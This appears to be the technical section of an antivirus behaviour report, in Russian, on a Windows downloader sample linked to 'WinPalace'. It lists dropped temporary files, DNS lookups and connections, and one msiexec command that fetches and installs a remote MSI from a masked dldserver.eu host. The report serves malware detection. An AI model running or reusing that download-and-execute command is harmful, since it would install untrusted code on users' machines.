Техническая информация
- '%TEMP%\Eyjv1F.exe'
- '<SYSTEM32>\msiexec.exe' /i "http://si####.dldserver.eu/36175/cdn/winpalace/WinPalace20130524102703.msi" SETUPEXEDIR="%HOMEPATH%\Local Settings\Temp" SETUPEXENAME="Eyjv1F.exe"
- %TEMP%\~3.tmp
- %TEMP%\_is4.tmp
- %TEMP%\_is6.tmp
- %WINDIR%\Installer\MSI7.tmp
- %TEMP%\~5.tmp
- %TEMP%\{5C422799-DE16-4FC9-90F0-4A88CB81BDB2}\0x0409.ini
- %TEMP%\_is1.tmp
- %TEMP%\Eyjv1F.exe
- %TEMP%\{5C422799-DE16-4FC9-90F0-4A88CB81BDB2}\Setup.INI
- %TEMP%\_is2.tmp
- %TEMP%\{5C422799-DE16-4FC9-90F0-4A88CB81BDB2}\_ISMSIDEL.INI
- %TEMP%\_is6.tmp
- %TEMP%\~5.tmp
- %WINDIR%\Installer\MSI7.tmp
- %TEMP%\~3.tmp
- %TEMP%\_is1.tmp
- %TEMP%\_is2.tmp
- %TEMP%\_is4.tmp
- 'si####.dldserver.eu':80
- 'wp#d':80
- si####.dldserver.eu/36175/cdn/winpalace/WinPalace20130524102703.msi
- wp#d/wpad.dat
- DNS ASK si####.dldserver.eu
- DNS ASK wp#d
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'